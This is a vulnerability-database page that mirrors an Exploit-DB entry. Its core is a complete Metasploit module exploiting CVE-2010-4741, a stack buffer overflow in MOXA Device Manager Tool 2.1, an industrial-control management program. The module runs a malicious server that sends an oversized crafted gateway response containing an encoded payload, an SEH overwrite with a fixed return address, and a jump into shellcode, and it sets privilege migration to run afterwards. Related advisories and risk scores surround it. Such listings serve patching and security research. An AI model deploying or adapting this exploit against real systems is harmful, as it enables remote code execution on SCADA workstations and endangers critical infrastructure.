Lucene search
K

MOXA Device Manager Tool 2.1 - Remote Buffer Overflow (Metasploit)

🗓️ 14 Nov 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

MOXA Device Manager Tool 2.1 Remote Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MOXA Device Manager Tool 2.1 - Buffer Overflow Exploit
23 Mar 201700:00
zdt
Circl
CVE-2010-4741
14 Nov 201000:00
circl
Check Point Advisories
MOXA Device Manager Tool SCADA Buffer Overflow (CVE-2010-4741)
10 Aug 201400:00
checkpoint_advisories
CVE
CVE-2010-4741
18 Feb 201117:00
cve
Cvelist
CVE-2010-4741
18 Feb 201117:00
cvelist
Exploit DB
MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)
20 Oct 201000:00
exploitdb
ICS
GLEG Agora SCADA+ Exploit Pack
6 Sep 201812:00
ics
Tenable Nessus
Moxa Device Manager Tool MDM2_Gateway Response Remote Overflow
21 Feb 201100:00
nessus
Metasploit
MOXA Device Manager Tool 2.1 Buffer Overflow
6 Nov 201022:25
metasploit
NVD
CVE-2010-4741
18 Feb 201118:00
nvd
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Ruben Santamarta', 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4741'],
          [ 'OSVDB', '69027'],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 20 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
      ], self.class)
  end

  def on_client_connect(client)

    return if ((p = regenerate_payload(client)) == nil)

    client.get_once

    sploit = rand_text_alpha_upper(18024)

    sploit[0, 4] = [0x29001028].pack('V')
    sploit[472, payload.encoded.length] = payload.encoded
    sploit[1072, 8] = generate_seh_record(target.ret)
    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string

    client.put(sploit)

    handler(client)

    service.close_client(client)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 29.3
EPSS0.46107
28